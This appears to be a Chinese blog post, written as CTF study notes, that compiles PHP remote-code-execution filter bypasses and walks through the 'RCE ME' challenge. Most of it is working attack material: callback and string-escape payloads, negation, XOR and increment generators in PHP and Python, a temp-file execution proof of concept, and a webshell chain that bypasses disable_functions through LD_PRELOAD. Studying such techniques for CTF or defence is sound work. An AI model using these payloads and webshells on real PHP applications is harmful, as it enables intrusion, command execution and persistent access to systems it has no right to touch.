文章目录
前言:
做到一道RCE的题目,想要整理一下关于RCE的技巧,同时那题用到LD_PRELOAD绕过disable_functions。
本文主要按照自己的理解整合了末初师傅的https://blog.csdn.net/mochu7777777/article/details/104631142
与羽师傅的https://blog.csdn.net/miuzzx/article/details/109143413
两篇文章中的技巧,两位师傅tql
一、代码执行函数:
eval()
assert()
preg_match() 的/e模式(PHP7.0以后被废弃)
create_function()
......
二、可回调函数:
call_user_func():
call_user_func($_REQUEST['fun'], $_REQUEST['code']);# fun=assert&code=phpinfo()
call_user_func_array():
call_user_func_array('assert', array($_REQUEST['code'])); # code[]=phpinfo()
array_filter(array $array [, callable $callback [, int $flag = 0 ]] )
array_filter($_REQUEST['code'],'assert'); # code[]=phpinfo()
array_map(callable $callback , array $array , array ...$arrays )
array_map($_REQUEST['fun'],$_REQUEST['code'])
usort(array &$array , callable $value_compare_func) : bool
当PHP < 5.6时:
usort($_GET[1],'assert'); # 1[]=123&1[]=phpinfo() 第二个参数
当5.6<= PHP < 7时,利用PHP 5.6新特性:变长参数特性展开数组
uasort(...$_GET); # 1[]=1&1[]=phpinfo()&2=assert
.......
三、绕过关键字的过滤:
0x01、字符串拼接:
适用PHP版本:
PHP>=7
system()
(p.h.p.i.n.f.o)();
(sy.(st).em)(whoami);
(sy.(st).em)(who.ami);
(s.y.s.t.e.m)("whoami");
.......
在PHP中不一定需要引号(单引号/双引号)来表示字符串。PHP支持我们声明元素的类型,比如
$name = (string)whoami;
,在这种情况下,$name就包含字符串"whoami"
,此外,如果不显示声明类型,那么PHP会将圆括号内的数据当成字符串来处理
0x02、字符串转义
适用PHP版本:
PHP>=7
以特性形式的字符串会被特殊解析,前提在 双引号 的包裹下:
以八进制表示的\[0–7]{1,3}
转义字符会自动适配byte。形如:"\160"
以十六进制的\x[0–9A-Fa-f]{1,2}
转义字符表示法。形如"\x41"
以Unicode表示的\u{[0–9A-Fa-f]+}
字符,会输出为UTF-8字符串。形如"\u{70}"
Python脚本处理得到16进制、8进制、union编码:
# -*- coding:utf-8 -*-
def hex_payload(payload):
res_payload = ''
for i in payload:
i = "\\x" + hex(ord(i))[2:]
res_payload += i
print("[+]'{}' Convert to hex: \"{}\"".format(payload,res_payload))
def oct_payload(payload):
res_payload = ""
for i in payload:
i = "\\" + oct(ord(i))[2:]
res_payload += i
print("[+]'{}' Convert to oct: \"{}\"".format(payload,res_payload))
def uni_payload(payload):
res_payload = ""
for i in payload:
i = "\\u{{{0}}}".format(hex(ord(i))[2:])
res_payload += i
print("[+]'{}' Convert to unicode: \"{}\"".format(payload,res_payload))
if __name__ == '__main__':
payload = 'phpinfo'
hex_payload(payload)
oct_payload(payload)
uni_payload(payload)
"\x70\x68\x70\x69\x6e\x66\x6f"(); #phpinfo();
"\163\171\163\164\145\155"('whoami'); #system('whoami');
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id'); #system('whoami');
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');
.......
此外八进制的方式还可绕过无字母的限制
0x03、访问内置函数get_defined_functions()
适用于PHP版本:Windows本地测试的是
PHP>=7
可以成功,PHP5
测试虽然报错但是并不肯定不能使用
内置函数中集成了许多可用的函数,print_r(get_defined_functions())
即可查看当前版本下的内置函数
?cmd=get_defined_functions()[internal][283](); #phpinfo()
?cmd=get_defined_functions()[internal][373](whoami); #system("whoami")
四、过滤了引号(单引号/双引号):
0x01、动态调用、多次传参绕过
适用PHP版本:
无限制
#GET:
_=system&__=dir
#POST:
cmd=$_GET[_]($_GET[__]);
0x02、又或者使用括号:
适用PHP版本:
PHP>=7
在PHP中不一定需要引号(单引号/双引号)来表示字符串。
PHP支持我们声明元素的类型,比如$name = (string)whoami;
,在这种情况下,$name就包含字符串"whoami"
,此外,如果不显示声明类型,那么PHP会将圆括号内的数据当成字符串来处理
?cmd=(syste.m)(whoami); //这样whoami就避免用到引号
五、无字母数字进行RCE
原理是利用除字母数字以外的字符(ASCII码1~256中的字符)进行运算操作而凑出想要的字符
假设是这样的代码:
if(!preg_match('/[a-z0-9]/i',$code)){
eval($code);
}
0x01、取反
<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
[+]your function: system
[+]your command: ls
[*] (~%8C%86%8C%8B%9A%92)(~%93%8C);
0x02、异或
<?php
//用于生成xor_rce.txt文件,然后用于:异或python脚本
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w"); //用于生成xor_rce.txt文件,然后用于:异或python脚本
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
# python异或脚本:
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
[+] your function:system
[+] your command:ls
("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%0c%08"^"%60%7b");
因为上述要用到引号,如果引号被ban了,还有这样的payload:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
即:${_GET}{%ff}();&%ff=phpinfo
这个脚本用于:和固定值异或
<?php
/*
例:_GET => %a0%b8%ba%ab
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
*/
$payload = ''; //payload
for($i=0;$i<strlen($argv[1]);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); //dechex(255) = ff
if($k == $argv[1][$i])
$payload .= '%'.dechex($j);
}
}
echo $payload;
0x03、或
只需将上面异或的php脚本中$c=(urldecode($a)^urldecode($b));
改为$c=(urldecode($a)|urldecode($b));
即可
0x04、自增
PHP 7.0.12
以上版本无法奏效,因为assert函数被官方改动,不再支持动态函数调用
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入 _=phpinfo();
使用时需要url编码下:
%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B%27!%27%3D%3D%27%40%27%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D%27_%27%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B
然后post传入 _=phpinfo();
0x05、上传临时文件、执行临时文件
原理P神的:无字母数字webshell之提高篇
按我理解:POST上传带有shell命令的文件到目标站点,站点会生成临时文件接收我们发的文件,然后通过shell命令执行临时文件,构造的payload是:
?><?=`. /???/????????[@-[]`;?>
POC:
#coding:utf-8
#author yu22x
import requests
url="http://xxx/test.php?code=?><?=`. /???/????????[@-[]`;?>"
files={'file':'cat f*'}
response=requests.post(url,files=files)
html = response.text
print(html)
或者用Burp抓包修改:(Burp上注意URL编码)
[极客大挑战 2019]RCE ME——LD_PRELOAD
绕过disabled_functions
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
这是一道无字母数字的RCE。
首先可以用取反来尝试一下
<?php
echo urlencode(~'phpinfo');
?>
//输出:%8F%97%8F%96%91%99%90
?code=(~%8F%97%8F%96%91%99%90)();
发现确实可以,下一步自然而然想到执行system等函数了,但正如我们所猜到的禁了很多系统函数。
利用取反写一句话木马然后上连接蚁剑,构造:?code=assert(eval($_POST[1]));
<?php
echo urlencode(~'assert')."\n";
echo urlencode(~'(eval($_POST[1]))')."\n";
//assert(eval($_POST[1]));
?>
//%9E%8C%8C%9A%8D%8B
//%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
在蚁剑上直接搜,发现在flag是在根目录下的readflag文件中,需要执行该文件才能有flag
但并没有权限命令执行权限
到此,有两种方式解决
1:利用蚁剑的绕过disabled function
插件
2:通过环境变量 LD_PRELOAD 劫持系统函数
第一种方法不难操作,第二种方法又该怎么操作呢?
放上GitHub上大佬的项目:bypass disable_functions via LD_PRELOAD
原理(我讲不来…)在里面讲的很详细,相关EXP也在其中
本项目中有三个关键文件,bypass_disablefunc.php、bypass_disablefunc_x64.so、bypass_disablefunc_x86.so。
bypass_disablefunc.php 为命令执行 webshell,提供三个 GET 参数:
cmd: 待执行的系统命令
outpath 参数,保存命令执行输出结果的文件路径(如 /tmp/xx)
sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so)
后两个参数要注意是否有读写权限等
http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
在/var/tmp处有上传权限,上传两个文件
上传之后,就要构造payload了,网上异或的payload:
${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
即:${_GET}[_](${_GET}[__]);&_=assert&__=eval($_POST['a'])
$a=urldecode('%fe%fe%fe%fe')
$b=urldecode('%a1%b9%bb%aa')
echo $a^$b //输出:_GET
最终payload:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/1.txt&sopath=/var/tmp/bypass_disablefunc_x64.so